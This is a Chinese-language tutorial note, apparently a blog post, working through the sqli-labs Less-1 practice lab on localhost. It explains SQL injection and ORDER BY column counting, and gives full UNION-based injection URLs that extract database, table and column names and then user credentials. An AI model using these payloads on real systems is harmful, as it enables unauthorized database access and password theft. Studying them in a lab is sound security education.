SQL注入笔记 02#

sql注入原理

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

攻击者提交恶意的SQL注入代码插入或添加到应用(用户)的输入参数的攻击,攻击者探测出开发者编程过程中的漏洞,利用这些漏洞,巧妙的构造SQL语句对数据库系统的内容进行直接检索或修改。

提前查看测试界面的源代码:

发现源码未将sql语句查询进行过滤,造成了sql注入漏洞

打开我们的测试界面: http://127.0.0.1/sqli-labs-master/Less-1/ 需要赋予一个常数id得到数据。

赋值id=1,http://127.0.0.1/sqli-labs-master/Less-1/?id=1 可以看到此时的sql语句是:SELECT * FROM users WHERE id=’1’ LIMIT 0,1

此时我们利用sql注入代码插入查询参数构造攻击可以实现sql注入的目的

利用联合查询我们可以加入自己想查询的语句。联合查询的条件需要后一句sql语句和前一句sql语句的字段数要相同,否则将会报错。

我们利用Mysql命令行进行语句的测试:

select * from users where id="1" limit 0,1;
select * from users where id="1" limit 0,1; union select user();

因此需要利用order by进行字段的猜解

order by实际上是对列进行了排序

因为第4列不存在所以出现了报错,

所以利用order by我们可以进行字段的猜解。

再利用union 查询(联合查询)我们可以进行查询参数构造攻击。

下面我展示一下获取user表下账户密码的过程

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)–+

获取数据库名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=”security”)–+

获取表名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=”users”)–+

获取列名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(select group_concat(username,”~”,password) from users)–+

获取用户数据

赞 赏